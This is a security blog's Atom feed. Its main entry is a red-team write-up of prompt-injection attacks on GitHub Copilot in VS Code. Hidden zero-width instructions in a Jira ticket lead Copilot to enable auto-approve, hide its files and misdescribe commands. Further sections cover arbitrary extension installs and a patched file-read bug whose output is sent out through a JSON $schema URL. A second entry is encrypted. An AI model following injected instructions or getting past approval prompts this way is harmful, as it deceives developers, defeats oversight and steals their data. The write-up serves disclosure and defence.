<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>blindCyber</title>
  
  
  <link href="https://blindcyber.gitlab.io/atom.xml" rel="self"/>
  
  <link href="https://blindcyber.gitlab.io/"/>
  <updated>2025-10-28T13:30:47.278Z</updated>
  <id>https://blindcyber.gitlab.io/</id>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Vibe Pwning with GitHub Copilot</title>
    <link href="https://blindcyber.gitlab.io/2025/10/28/copilot-fun/"/>
    <id>https://blindcyber.gitlab.io/2025/10/28/copilot-fun/</id>
    <published>2025-10-28T00:00:00.000Z</published>
    <updated>2025-10-28T13:30:47.278Z</updated>
    
    <content type="html"><![CDATA[<p><em>Co-authored with <a href="https://bitsofharmony.com/">Brent Harrell</a></em></p><h1 id="Intro"><a href="#Intro" class="headerlink" title="Intro"></a>Intro</h1><p>Of the many uses of GenAI hitting technology stacks today, AI-assisted coding platforms offer one of the most compelling applications of LLM text generation. These platforms enable tech enthusiasts with an idea to make it a reality and speed up routine software development through context-aware code completions.</p><p>But this technology is not without its dark side. One element that gets a lot of attention is letting the LLM do the heavy lifting with limited human-generated code (AKA “vibecoding”), which can lead to flaws ranging from security gaps and missed requirements to code that can’t be easily modified or scaled.</p><p>Another element, the subject of our research in this blog, is the attack surface opened by integrating an LLM into development environments, where access to powerful developer tools allows the LLM to not only write code but execute the code or other commands on the system. </p><p>This topic was the subject of several recent blogs and conference talks where researchers demonstrated entire kill-chains that led to data theft or remote code execution. In some cases, those attack paths required zero interaction from the developer aside from asking the LLM to summarize the code project.</p><p>While many of the specific paths discussed in those blogs and talks have been mitigated to a degree, the very nature of AI-assisted coding capabilities and the non-deterministic nature of LLM text generation make this attack surface difficult to fully secure. We recently had the opportunity to dig further into GitHub Copilot for Visual Studio Code (VS Code) as part of an exercise, looking for new ways to achieve similar effects of data theft or remote code execution. </p><p><strong>In the end, we discovered an Elevation of Privilege vulnerability in VSCode core and it was patched by Microsoft.</strong></p><p><em>Note: The remainder of the blog will simply refer to GitHub Copilot as Copilot. This is not to be confused with other instances of Copilot, such as those tied to Microsoft 365 applications. Also, the standard disclaimer applies - this is for educational purposes to continue to raise awareness about security pitfalls of GenAI products. Always get approval for testing.</em></p><hr><h1 id="RCE-via-GitHub-Copilot"><a href="#RCE-via-GitHub-Copilot" class="headerlink" title="RCE via GitHub Copilot"></a>RCE via GitHub Copilot</h1><h2 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h2><p>A recent <a href="https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/">blog</a> from Johann Rehberger discussed a CVE awarded to multiple researchers (CVE-2025-53773) affecting GitHub Copilot, wherein a malicious prompt inserted in the code led to full remote code execution (RCE) with zero user approvals required. </p><p>When the victim asked Copilot to take some action that interacted with the compromised code like “summarize this project,” the hidden instructions triggered Copilot to modify the VS Code settings file. In the case of this attack, the instructions enabled “YOLO” (You Only Live Once) mode - an experimental setting that automatically approves all actions suggested by Copilot (setting: <code>&quot;chat.tools.autoApprove&quot;: true</code>).</p><p>Copilot has the ability to read and write files in the current “workspace” - the open folder and subfolders - and any other files the user has open in the editor. For security purposes, Copilot cannot access other files on the system. The root of the issue stemmed from the presence of distinct workspace settings (<code>workspace/.vscode/settings.json</code>). Because Copilot could alter this file unrestricted, Copilot could enable YOLO mode with no user intervention if compromised by an attacker.</p><p>To fix this, Microsoft removed YOLO mode from workspace settings in favor of using the global profile settings, located elsewhere. As a result, Copilot can no longer directly enable the setting unless the user opens the global settings file within VS Code.</p><p>Problem solved? Partially.</p><p>While the patch was effective, returning to a statement from the introduction: the very nature of these platforms gives them extensive capabilities that you cannot simply patch out without degrading the product. VS Code is not the judge or jury for the code you write and execute in the platform, it simply facilitates and aids the process. As a result, attackers can still add YOLO mode and gain remote code execution with a few additional steps.</p><p>To be clear, the demonstration below is not a new CVE, it takes advantage of the platform’s core functionality. Another key-caveat is that this is no longer a zero-click exploit. With a little Red Team ingenuity to come up with the right pretext, though, it can still be a potent attack.  Our goal in highlighting this bypass is to illustrate that securing GenAI tooling is not as straight-forward as issuing a patch, as may be the case with traditional applications, and organizations employing GenAI tools will face residual risks requiring other mitigations.</p><h2 id="The-Sitch"><a href="#The-Sitch" class="headerlink" title="The Sitch"></a>The Sitch</h2><p>In a recent op, we had secondary objectives to target developers and the development environment and use GenAI tools when possible. We had access to a Git service and Jira. So, what could we do?</p><ol><li>Search for creds (pff, boring)</li><li>Poison legitimate programs and wait for them to be deployed (lots of moving pieces, need to get a commit approved)</li><li>Get a developer to run a malicious command for us (well now that’s interesting…)</li></ol><p>We ended up going with number three, because it’s fun (okay, okay, we also looked for creds). At a high level, the attack path was as follows: the attacker (your friendly neighborhood Red Team, in this case) creates a bug report in Jira for an active project. Inside the bug report are hidden instructions that:</p><ol><li>   Enable YOLO mode.</li><li>   Disguise the artifacts of the attack.</li><li>   Execute operating system commands under seemingly benign auspices to gain remote code execution.</li></ol><p>The unsuspecting developer copies the Jira ticket into GitHub Copilot, leading to unintended effects.</p><h2 id="The-Exploit-Part-1-The-Insertion"><a href="#The-Exploit-Part-1-The-Insertion" class="headerlink" title="The Exploit Part 1: The Insertion"></a>The Exploit Part 1: The Insertion</h2><p><strong>Problem #1: How do we get a developer to run a malicious command?</strong></p><p><em>By not letting them know they’re doing it, of course.</em></p><p>In the course of the op, we observed training materials instructing developers to cut and paste the description or other ticket information from Jira into the Copilot chat, adding a small request like “help me find this bug.” Pretty common these days as companies try to accelerate with GenAI.</p><p>So, how could we use that? Enter the zero-width Unicode characters all the cool kids are using.</p><p>Zero-width Unicode characters serve functional purposes like controlling text direction. In modern digital typography, these invisible characters help ensure text displays correctly across different systems by controlling how adjacent characters interact without adding visible space or marks. </p><p>Because these characters are present in training datasets, LLMs know how to interpret them, allowing attackers to encode their instructions in a way that only the LLM will see. The Red Team found that these hidden characters were preserved in Jira comments and text fields, making it a perfect opportunity to poison a legitimate source of information with little evidence.</p><img src="/images/copilot1.png" class="[test]" title="An example of poisoning Jira with zero-width Unicode characters" alt="Zero-width Unicode + Jira bug ticket &#x3D;&#x3D; ticking time bomb"><h2 id="The-Exploit-Part-2-The-YOLO-Maneuver"><a href="#The-Exploit-Part-2-The-YOLO-Maneuver" class="headerlink" title="The Exploit Part 2: The YOLO Maneuver"></a>The Exploit Part 2: The YOLO Maneuver</h2><p><strong>Problem 2: YOLO mode was patched, right?</strong></p><p><em>Alas, it’s true. But only for Copilot…</em></p><p>Copilot can’t edit the settings file directly, but the code Copilot writes can do whatever the user can do so… let’s just use that.</p><p>We targeted a Python project because of its interpreted nature and LLMs are quite adept at basic Python code. The first set of instructions given to the LLM in the hidden characters asked it to generate a new Python file, <code>copilot_setup.py</code>. This file contained code to modify the user’s global VS Code profile under the auspices of “getting ready to debug.” </p><img src="/images/copilot-anakin.png" class="[test]" title="The four-panel Anakin Star Wars meme" alt="Oh... oh no."><p>Copilot consistently generated functioning code. Something to keep in mind as you’re building LLM-based payloads, though, is that they’re non-deterministic. Even though the code worked 90%+ of the time, there were a few times that required revision. The nifty thing about LLMs is that Copilot could revise the code itself in those cases, but such an error increased the time for the user to catch on to the attack.</p><p>But then we ran into a different problem…</p><h2 id="The-Exploit-Part-3-The-Bamboozle"><a href="#The-Exploit-Part-3-The-Bamboozle" class="headerlink" title="The Exploit Part 3: The Bamboozle"></a>The Exploit Part 3: The Bamboozle</h2><p><strong>Problem 3: Wait, they can see what we’re doing…</strong></p><p><em>We can’t have that.</em></p><p>Because Copilot wasn’t YOLO-ing yet, executing this “setup” file still required user permission. Additionally, VS Code opens newly edited files in the editor window, which exposed the exact nature of the new code to the user. This would likely decrease the odds of clicking “continue.”</p><p>To hide the file from view for longer, we noticed that multiple file creations or changes resulted in the first file presenting as “active” while the subsequent files opened in tabs to the right. </p><p>So, we thought, let’s just create an arbitrary and capricious “debug log” first. That will hide the new Python code unless the developer explicitly opens the tab. As for getting the user to accept the command? Well… we found that Copilot supplied the description for the command we want to run, so we could manufacture an explanation of dubious veracity (that means lie).</p><img src="/images/bamboozle.jpg" class="[test]" title="A clip from a comedy sketch about bamboozling people" alt="Damn it, Caboose"><p>Combining these approaches into new instructions, we got a pretty reasonable pretext. The last hurdle was the user approval. If approved, we’d have a shell (or data exfil) coming our way in however long it took for Copilot to meander through its answer. Which… could be 10 seconds or it could work itself into a tizzy actually debugging first. Either way, we were pretty confident a developer that’s cutting and pasting from Jira will probably not object too much to running a setup script, because LLMs do weird things sometimes.</p><img src="/images/copilot2.png" class="[test]" title="Demonstrating the obfuscation techniques" alt="AIs got jukes"><img src="/images/copilot3.png" class="[test]" title="An image showing post-execution settings changes" alt="Whoops, you shouldnt have done that."><h2 id="The-Exploit-Part-4-Giving-them-the-business"><a href="#The-Exploit-Part-4-Giving-them-the-business" class="headerlink" title="The Exploit Part 4: Giving them the business"></a>The Exploit Part 4: Giving them the business</h2><p><strong><del>Problem</del> Step 4: Figuring out what to do with our power</strong></p><p><em>Oh, the possibilities…</em></p><p>With auto-approve enabled and the files cleaned up, we could run any OS command desired with no user input, requiring user attentiveness and quick actions to stop a malicious command.</p><img src="/images/quicker.png" class="[test]" title="A meme about being faster" alt="Its a bit too late, buddy"><p>For the sake of simplicity, the demonstration path culminates with a request to a webpage hosting a command to spawn Calculator. Don’t let the AI glaze make you forget that you still need to be a good Red Teamer and come up with a pretext and reasonable-looking command, because Copilot is going to tell the user what it’s doing.</p><img src="/images/copilot5.png" class="[test]" title="An image showing remote code execution" alt="Victory"><hr><h1 id="An-Alternate-Approach-Malicious-VS-Code-Extensions"><a href="#An-Alternate-Approach-Malicious-VS-Code-Extensions" class="headerlink" title="An Alternate Approach: Malicious VS Code Extensions"></a>An Alternate Approach: Malicious VS Code Extensions</h1><p>As mentioned in the above discussion, VS Code has internal commands offered via an API that Copilot can call directly with user approval. As an alternative means of delivering malicious code to the developers, we found that the LLM could be convinced to call the <code>workbench.extensions.installExtension</code> command with an arbitrary extension ID and name. The given name did not need to match the official name in the extension registry, so go nuts.</p><img src="/images/copilot6.png" class="[test]" title="The syntax for the installExtension command" alt="Nothing to see here"><p>You can combine this with indirect prompt injection through code files or using the path discussed in the last section.</p><img src="/images/copilot7.png" class="[test]" title="An example of supplying an arbitrary name" alt="I wont hurt ya, brah, promise"><hr><h1 id="0day-Circumventing-Copilot-Workspace-Restrictions"><a href="#0day-Circumventing-Copilot-Workspace-Restrictions" class="headerlink" title="0day - Circumventing Copilot Workspace Restrictions"></a>0day - Circumventing Copilot Workspace Restrictions</h1><p>Stemming from the prior research, we identified a more serious vulnerability that circumvented Copilot restrictions, allowing us to access any file on the system to which the user had access. We submitted this to Microsoft who validated and patched the issue.</p><p>As discussed, Copilot tooling is typically restricted to the active workspace or files already open in the editor to limit the impact to the host from LLM hallucination or compromise. For example, the <code>readFile</code> tool explicitly <a href="https://github.com/microsoft/vscode-copilot-chat/blob/8e8b97f05894fdc0868d4fc201e44c786bf891b9/src/extension/tools/node/toolUtils.ts#L84">checks</a> whether the file is in the workspace or open in a tab during its preparation.</p><p>However, VS Code offers a <code>fetchPage</code> tool that accepts both HTTP and file URI patterns. Because this tool is offered by VS Code itself and not Copilot (it is <a href="https://github.com/microsoft/vscode-copilot-chat/blob/8e8b97f05894fdc0868d4fc201e44c786bf891b9/src/extension/tools/vscode-node/fetchWebPageTool.tsx#L71">invoked</a> by Copilot using a wrapper), it does not have the same restrictions on accessing files outside the workspace. To be clear, this VS Code tool is not itself a vulnerability and aligns with normal functionality for a development environment. How else would you open stuff?</p><p>With the appropriate prompt, Copilot could be coerced to utilize this tool rather than its own <code>readFile</code> tool, circumventing Copilot restrictions to read arbitrary system files. In addition, the user did not receive an approval prompt when supplying a file URI because the wrapper for this tool <a href="https://github.com/microsoft/vscode/blob/03baef1008086ed4960042fa463e570072173bb5/src/vs/workbench/contrib/chat/electron-browser/tools/fetchPageTool.ts#L152">only required user approval for untrusted web URLs</a>. This has been fixed, unless you have <code>autoApprove</code> enabled in which case… YOLO.</p><img src="/images/copilot8.png" class="[test]" title="An image showing fetching a local file outside of the workspace" alt="Its local so it must be safe right?"><p>While arbitrary file reads are concerning, the user already had access to anything that opened and Copilot still could not modify the files, making this issue largely moot. To have impact, the information needed to be exfiltrated to an unauthorized location. A common method for exfiltrating LLM output is the use of Markdown images, which can be used to send an arbitrary GET to the supplied image source. VS Code, however, does not render the Markdown syntax directly and converts it to a plain, HTML string.</p><img src="/images/copilot9.png" class="[test]" title="An image showing a broken markdown image" alt="Kudos, Microsoft"><p>Digging further, we determined that VS Code’s <a href="https://code.visualstudio.com/docs/languages/json#_json-schemas-and-settings">handling of JSON files</a> with Intellisense could be abused to trigger arbitrary HTTP requests. When a new JSON file is created with a <code>$schema</code> key and a URL as the value, Intellisense automatically sends a request to fetch the schema. By having Copilot create a JSON file, it could append contents from the arbitrary file read to the schema URL to exfiltrate information. </p><p>As a demonstration, the below prompt exfiltrated a fake API key from a file by combining the arbitrary file read with the <code>$schema</code> exfiltration technique, none of which required user approval. This could be further combined with previously discussed delivery obfuscation mechanisms to hide the prompt, though the output into the chat sidebar will be much harder to explain as benign.</p><img src="/images/copilot10.png" class="[test]" title="An image showing data exfiltration" alt="All your API keys are belong to us"><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>While the arbitrary file read constitutes a full-fledged vulnerability, the tactics and techniques covered in this blog primarily focus on LLMs susceptibility to manipulation through the data sources they operate on. The same concerns a company has about a well-intentioned employee inadvertently doing something harmful apply to LLMs, but without the human judgement to identify anomalous behavior and nudge them that something is wrong.</p><p>Companies can help mitigate against these attack paths in a few ways:</p><ol><li><p><strong>User training.</strong> Train users that output from LLMs is not necessarily safe despite coming from an “internal” source. Additionally, coach users on the potential threats to data sources, including copying and pasting, that may add unwanted instructions to the LLM.</p></li><li><p><strong>Disable auto-approve settings.</strong> Some AI-coding platforms allow enterprises to universally disable auto-approve settings or specifically allow-list certain commands that can be auto-approved. Where possible, use those technical controls to keep a human in the loop. If not offered by the platform, conduct routine user training for developers and consider periodic audits of settings files to ensure compliance.</p></li><li><p><strong>Segregate.</strong> While more time and labor intensive, further separation of development boxes from developers’ normal workstations can help mitigate potential compromise if malicious code is introduced through the coding platform.</p></li></ol><p>If you are building your own applications, additionally consider:</p><ol><li><p><strong>Restrict hidden Unicode characters.</strong> Unless expressly needed for the functionality of the application, the application should filter these characters before passing the prompt to the LLM and raise the suspicion level of the interaction. Let’s be real, how often do you really need these for the LLM?</p></li><li><p><strong>Consider all data sources.</strong> Indirect prompt injection has been and will continue to be the best way to introduce malicious prompts.</p></li><li><p><strong>Check for redundant tools.</strong> As discussed with the arbitrary file read, one set of tooling was restricted while the overall environment offered another set of tooling. Ensure your application does not offer two sets of similar functions with differing security postures when introducing an LLM. This also applies to MCP servers your team may use, as malicious MCP servers can “shadow” legitimate tools, convincing the LLM to call the malicious tool instead of the benign one.</p></li></ol>]]></content>
    
    
    <summary type="html">Finding 0days in your friendly neighborhood coding assistant</summary>
    
    
    
    <category term="Red Team" scheme="https://blindcyber.gitlab.io/categories/Red-Team/"/>
    
    
    <category term="LLM" scheme="https://blindcyber.gitlab.io/tags/LLM/"/>
    
    <category term="0day" scheme="https://blindcyber.gitlab.io/tags/0day/"/>
    
  </entry>
  
  <entry>
    <title>Red Teaming LLM Applications - A Comprehensive Guide - Part 1</title>
    <link href="https://blindcyber.gitlab.io/2025/07/15/Red-Teaming-LLM-Applications-A-Comprehensive-Guide-Part-1/"/>
    <id>https://blindcyber.gitlab.io/2025/07/15/Red-Teaming-LLM-Applications-A-Comprehensive-Guide-Part-1/</id>
    <published>2025-07-15T21:05:52.000Z</published>
    <updated>2025-10-28T13:30:47.277Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Wrong password." data-whm="Nice try/IP. Your attempt has been logged.">  <script id="hbeData" type="hbeData" data-hmacdigest="01d9a49bff44871a8116b777bf88e63c1c83717f7bbe3ab2c09cf93e2b0402f8">fce0ec79e6325ffce8389e2584f3adb60b8821148a00a4097fdd53f41c0b49c3bd5349a1323b86bba5297536b7dad406eaf58c96a2a6c6ca4fafb1bc7cc237146c2f78b220f53e2ef58bf41285bd25a27b83549f44d2a6d21a6ce3deef73914a2f5488323524d1d9ecd5c3bd4b59841aed3c0600f3f00d85b8a6bd3342981826b4478dd655f15a6099707480b860a664334dd9f52b29d2de48f836ee816039da014689f1a4a0f180e175d79dd2110829a388f835f3d64585ddb19bbe57f8ecdd54ac60e9afb06b842900fffbcf88518df58504721d4bdcbad2e2f03279a8317cf4b6bf40ac90356efb5361a3e8422e7f79204395b8359bb0246995ffd96f8bc499f562ca87143f466125abbbd15693d0d138218bb3433121e07af01b06fc5caa524989c59ace5bb0e2cca529210c7a1c338b24d47e69b8f6caf63486c1906e6f196045a396e100062f3d48c71114aaade3af7c07ed47131f1f177f7d14a7c1312018b7c625afbff9bd769e423972f695543c4d90f2bf24fc3de2999aaf938518787dca45744b575702d4856efc90522f4a4a38863ce47f71069bab1b4e1692f5677d1e8ced0719aece1c07d78a9b1ea71a27ecf442f0c53f9f8b10d5eb376d10654dcec0033b4f292b855991ed07ed0e3ee9077535e9cbfdbb4c58fbf4abc7afdbdce45787197ae76b2906e60a4d4bfe3a15f32ce2d1e89eb4877e08a27bca8904b039dc9f352eef3b246e6f45e3b60faae8a3b10d41a17d1d2d044fac24289c5b570a8c19a230d9e852bd14444b867bbd6c42b7a622b1f2c2546d9e51924fdda688c210880b6ed4b1746123741a80c2281fe81a04686113302403a35d1ad6f297d5d17ae30dbbccad8f5e5a66fab577950e5a03673b791c61a9def4a6d86afbd7085d7c48bf30767cbd859cd4253da022e7ac9381064e6f08452bd577222245bd9012a763d7eee04466c4ef304415033e11704daf898ca056af619dfa641a33cc06dcc4c1ff4305b0497c2fcb1aa19a45b7fd4b4dbd279d58f28351e1879cb886a88f9db50d364002bb1fdc65d9c24df535e6af1e4ce7953f2f1fdccd8bc83640c9a0dfdff005222458952267d8ffeec126bc2df60781a25c176dcdd13575722005769a2688004b86a3f9b2671b6d6a033be7c11e22d121bbc96a6c97e1e5a9d9b1cc3ab14277bc5dee7dfe70a43c7046008ce07c6815e93cb91527d634b277a91629654c76e391ca00855933be79f7fed3e1ab435ae8e4f8bf8fa3ab752386bddaf8db81a38f76824593b672b29d838fb8e3351d305ce42d44bdf69e4a8640380fe4aca2041472b74c7e0ee7523036063b3faf9d9b487180cc531fc6c5aabde20e331480765dd996d49238570b6fb8e0c55a50af30302ac865564cee83875f0f4c3993ea3b38ec01077f272f6f2463ab9a98ed56707313191bd3441428a8db3ab867c7b4aaf76106837653a53ed7b56953524c03bf5f242215181fba3f478b25d7b4e3ea5e79a229f1db9c54585b7b369520d48e9554f7d778db80d379b051ff8b9009390385061e9035ba20d741ba50001ccbf7ab573e2424bd5faad10e9bf193ddba7acbcc064423371bfc87a80aa8d58b7c24e1c64f874682996c570d34c669033ac0a5d26d2adbf29c951dbaf336f5cfbed0efd280713ab9a7a8e0733c950b4d8db28b1bff1671f68c07b4d3d73402677420f37dcdddd9f22f8a7c32cd11d3381165e3c51243242768ab8481cd06b16c7cf98ba1dc61657a9c017028f3bf193a61a0aabaf7e4a0f85fbe442a16aa0151ab1c94a994b15982dd7d6ef3da2ea7fd877439c9246d90e68d4228af778c6dab4e4e75f51c76922d9863aa288c8769705c75ab1b1e1a61357e1e4678f612d4dd557e8eee6d9fbb031cbfde79ce6594bbd34eafca5870b0142162c20890bcc031f65ab40131b6b269519dc56b74e38d249282e0d3dafe263a8f9b195d2066bbe16878662a74c3044e53b79d6471fad892ef37122dd9bc102b362ab5a595c1b881608bee1a20d9df5127045815afc29ed9746ba0d680ba941608f0d0b9a9efb8de15762b09949ada343e72bbc40f117a748f31d5cd1c96dc5a816445c4da74b971e7b6f864326047539ab9eae012ab78b54fe782806e6b694e8db5baf868229c196f796094d6867dba57c501e7cc6ffbac5acedb5c321b6f18231fb0e47a1179c3912cd72bb4eb612c364890c35ef3d617363aa81535c4d0e8969d26f79c8adbcfb1ad8219c9beeb5221d9cb55fad4dc390a5015ef085844b8d07d5b2f9bbf057fbc2242b27622e489395846fefb692da50cb228a1b52b107f5c22d7d1a9153b25d16ee12b02345d712f6679e79ee549504b5d5a5e247b67e7318683a93ccdb7996b74a31bfeb121e8a86ea061326576824f14d0066bc436eba792f73e53e67f61362ab6e5f40f041f9142a17d4a1654b219ece6069019b6622de9461487d7f835b62dbff4c6f11eb4040da0e7386027e1ad331b62ac5691a23d0bb64d5604a1f16434605a4d0650af127f239d23f4812be32fbaa8eb6a39fcb5547879be7e9e267487778d75936879529213577f0b151e2d160cfbde0c53661529372fe1560e9268040545c6663fa46df506cb040a345fe2290af734811423ec6efbd46472648664c0ebed2e0befb42cb498ea233e0a95953092314e912625ce84fec6a6dbf6b13ea12bac772747ae33e20c2e623037f7b8d695243ef1cd093db709f6316ebfd3b8313db805265d6a5a01fd42619578618a2cee5d1d8c14bc47eb82af9485fac2803879bc4f90cac60eae7f0807cd55ad2f2a4df6ece8a674796192235e84a9ace1eb241ac156ce30b90aea6711c1bf042df6e6fab6ea052b40931345b47c71543219ad5624caca7bf38484fcac843f597d3c502112ac093df54b4f034fabb49c4ac41814f296d133262f04d3cfe5640d017d39addcb8d6639a60d47c82466dee94489eeb0e80d9070ee7b355b36a3f5a68acd435cc272f515747af198dcbb298abecfb5d4ad4866ac17933a092ea75ff7e18760c0652e0d2fa70db8f12416269bb0c1a8403cb238bb54627708606b45c4a18a1cdb2b74b6077161ea6181b06247fabddd4ef8fa1fca9e65def47d826794e52307ef37387316aa50444bc6b2f35a60a244f6bfb41f4408a3828b768c4982c50a763ed2c6ba6e042cb845f7d431f4c52bdd88c4cea54642ce65ceffc3ef6193d02c1b40e95faf5fce05b39f836685686824860f4d94982daf855a1f31e421dc5ec9b5a8c92b17f05a58acac5bef13f0bacbba0a22004870483116bd54c2dead51d40530cd5df9637ddcda9c487641319028f7d0f8a72eb1ab3498a97a897171cd20d52b9045b1dedf133089fd4cd41fb4d3a1b527be0ff21310cdc7c84f000ca4285cb9e2b56b8540ea993ce3c9ba8872ef56937be5b846e69e284596bd0977f48356e5020a3ac535bec11a2bb33d51c9d03fec711b72764ae71c7820b1f5864464f9d93bd4e257421d16b93bff4c58c1becc7a9c2bf9dd709984925c32d3fb0eb2f0600d0164166f72b27d1a1cfbf34335f62b2d7c3402b7a92fe183a3e89e050093a6562e6a4fb27f9b89047b987733bc7db13555d11331aa5845e7477ee2636c1c56c0f674886a73aeffb4b75a323b6e613e562f9c15a34931a603b2fe61e9e36ceb0c3654768fd8f4c9d6f7db444511e1a7e37bca191b38ba917eb3c9465ef94b6fe04569b56f07244334fc00cb028a53542cd0a316d173052ad1f6936e9d23a554cf6fdbaef522e77abd1d7b068e433b37139b7e672c1d720ff623760ddbfc3cd737a72db33f61b468c05f76cdcb6d34694354bf6a070a80d565af47b38d69b7be4b1761faefca8a807a99989515414609d052ce62e2f2e0dc01006b47a69d20fba892bcbce61b1d60bca8abc786cd7a46ca2f92850b4506ab34039f40a18b160055245affbecff16aa445666f4ab90cfc317d7885198d73306843b3ffd7df7d2bae017b3fc73ed074879e601263c6c5ca053b9258bf9ab77a1323610ee5cd3c4c0c2644e3e90bc03ca21174df42f5d41e60649d4e6a22e897a8d4408073bda6801a56883439b4fe7b8d1e3f66e5db76c0bbed6058f1d93bbbf45a437379f67ba50d7447464d83477caaaec06214cf3349b16d93da04c0db4a2c6cefa7b56f03d2ccaced0764bdccca0d76203c54620f9a99b1e589c635a57e330c9885f049066f3543547e79c1a29e1df78002b45b6e52d28e8f17d112640ba3904eced805583e0bea8fddd64c95f6ef9d2c814709b7d95698b11c5c91fdd8fd40a101f20ef40b4b8d593e9a0e59fcf6f194ceeaa4768bc2fe8a17109fd29ed7ec55f7ad7ba1bc5853f26dcd82fd1bfb24e0587221338826450152c6321d3335cc052c99d61ebebf0d6a2590397f3c6623a062813d5586457ac2f3c1037447c723c638e2b464cf4acfecd0b9b6a409987b3050ddb2fdfcbd0c222faba92469f50bf8ec9ca3bfb24afad0099d7be1cae1eef7af6639105a05ab8aa82b25c307aaeba68d7ae2b043ced24eadc4d5d0378b5e8c96b7030c5a3d48c1a0c783b72ab9549e9515c31a3429978f62d6c132d9f24dbe7a0b91002793d50175c8b0e0a2bb92e48f71f12fc5f32caccf4f69dc1728cc8dac9936140f6be51ab44843b9ab0c49e0179144f77a3b240f9d922ed2391e6bcf7322d9c5fb04c7de967d1e828c0f2941dd7d5a84ba7fc24a3f80466275381618874694b44e39defecdeac47a98720f74b214e94e9b40a1e84b8be2f1de603eff8a77faa926d0afdbde10c158a9dbfe58d4afdfb3d5084d97836ed443fc9ad4dd1dab764170760cfe2635f187c00196e46aa87fd193a324fcf13a7a5296a7e801472ea41372592f4fecdcbebcc020d924da4bae8c231040bb565fb84c951e250c5a6657b7ad6940c4716c054c74c8203198628b916fe13d0d196aabf456e1321985acde7031ca01d9e322304de71b7a6c2b3f673700baded61963561ca99d9c0caf3d0b3a11eb45395b617a49b530e05a94adedbded64f823fe33c3dc3706189cc2cdc29b904d4d9135ca3d3cfbe590b4d0eb7d0900db5c5f7be4e024807315781d114a2de5d8541c097ed0f5c6460a8da4bbf490838cf5b8a4d17b266c1639e85cc219423de15236680b7b2ab505b2ae2fba84fe63cd1000f3ffdd2960a43d93ecc7b4cf8c226326ec33ca72d56248cb5154672c3d4183fdefc4d13261ed3f33f26eef2f4b9e17b0a8b906aba86fca8dcd14b91381f53eb32acab6249b62b4ae218580e48b2bf5c1d5f8586f23e69c48d35828a61be0196b4a0388a1b400e1bacc950b100474a3b0690e8f721ce32a77e62698842f940dcdcf310060cb4c6182d18330e80f1be4b456b1898b8ff28a76cb6e39643e4800e0e51362c6454ba7c3c9a71204b19f8bc6f122023137dbd501e76e494c1d6f3b602946ef53c5db99f49ad89a20e5cea74430ed9ae4a329fbf8ff5748711f2912081b545ae6345bbfb82b474af90a948211fd3fe495ceb551c0e515de7bdf398fe8cacab5284ba8d6591c66194f640a34c565f387094112fed9052925befbcb8787eb0f7844a82ee99b8a4d64e855f9c432fb4318d393efce6cc2de2eabca1c1349caa312d85fe861784480112124e8c3cf035d09cc179c7b664697acfc739b0738884e0f840690c6fe9f0ba19a89dbd5dfc5711508ac426729eb38dff4564ce0a0c1245d091c8a5502a0f681f4d6d6d5d28c0dde86e575da546b84754f726e8cd48b4cdefe393c4f56d003a8f72ceccefcbc9a341de6c34480011fbaf6be31bd97604bd2c589097bf455d28e84b97d43ffaaefde97edbafbcd955f8c706f992bcdaceb9b0cd7af59a45f43b5ed874e4c1dd0bda70f930cb3a1e7ff059432b65dc44fdb383733d53e58675eef3e9144bb13f57157d28cc1212e8323b8bcffc7b49f14a6bcce8eff2dfbf3e94f6019ed05179940184e9c255468005eaf739d6969e860bd7467cc83c0b01008968a32ce8d2c973daa641576077f7b3e50f868e3b74d9cb8e7afc0e0d57c674a749c31c7ffb18a5daf8d0b96d1a764164ae82e8458f4d3da280e651063963820d80452d37e41be8e62dd4b0b3ad0d78767f0a7125928637016eaea24180724b1a427563c8e0df9c032aef10faf2bb4d3262a0c441e4a3c8883c78706352dd9b5e17bbcd3de1a4c662a88d5607242291d03a69960a1471ed45f4aa33ef51a8ed82eb477ca735015b8a40ec6a9082c48d704c83c5dd09e16a460893cc64e0261b8836983c3f04507d337271e19fce3c5abc64740836cf1a84b766872d4795015cb9b4fe3a2f6d1b7dcb77c260ae6d403a18d6aef76c185214f17db50860b26d7287fff5d1d85c1510a11bb95c673f8bd0f8b2c07f1bfd11902e77cf3604a2019546e623165d06b0b60a58766c7dd7192428e92f420e3aa90e189d9060e66100ace503daf407ec25c085f9d8499327eb6141c2e29d5da8e078be1cffa6152627c54ceaeb8bf08604b8e6c686bb380a6aa04c1a1d118286c9a04facb6492308a33e615afc66d05c7f69a9592098646191220e223a7f7852b2c70b76aed7dbdaf2de96e47867e7548dd6a3d329a450bc2656603f8497214a59bd4701cef1f5a3472557f91bbdb0553675c25cb2d798943ea8247cd3275e44b2069b367eab634e2a986fa40abc421a37184af16eece44e93036fba6875dae5dfa079d8ba8f0029efcc9e430c25b22a0a4bd5ed8746b78d00f4780405751c4d07e48c651043759ff98d675c1c075c29b4d0ee6b38800c068335ec122f3bc7b378d1c31a3f0af3507b6268314a6580d14c7716cc193d24de326d18b7ed54ea8b970c2ce21b026f0e8ed210eaab849409ceacbad416240c03c8abe3348d6d6839114adbd9d11084b5fecc9f77bfbc503f583b5417dee23e8a11de3cb495ec1a8eb7482e07da9cf6ddf6756f14b34a24f5b6e044493dee424e9e39573c2fa1c1c0ee78f112bb392fe062a7955175a02d8a1c7f61c601563dd411da86b536af7b33f50645e1a0c5a5db4f6099ffc22452be7cda6e7847566f00ce05cc1764f5c10844f415ebe0d703b2930f515719e2ef75ba178ea36d45ff4338e35d169513c5ff7ea486997a1f722a492756dfce0f15a41785155fe489a54825e09dbf962382ca68fa832215be52dbdb41958fbf7cc9800072fb96c61a348f5340bec5aeb04771109c2efbc2611845fe6fb9d4797d5f4bb4e0ae2fda1e8053ab0303ebe565ca9b86db6328422434056d1f020cd91aba48f7523c9dfbd20856f12d44be2bc66482eb9c664fc086fb5f3ce7150b0117965660bef690862c98fe9aee0262bf9b90e291c5c91a90c85f2b15915a88c68cd3200103d7a26aed9a830ef031a8191920d947a48125418acad4adb99104c74d0d2436e42236962bc57f7f07465131cabe0939afb889add0a238fe79d4f61c1dd25863f2c4ea4bdcfc3688fe236d04a383a5ae8a81eb1ac8db8964ab1a2dc3fb6e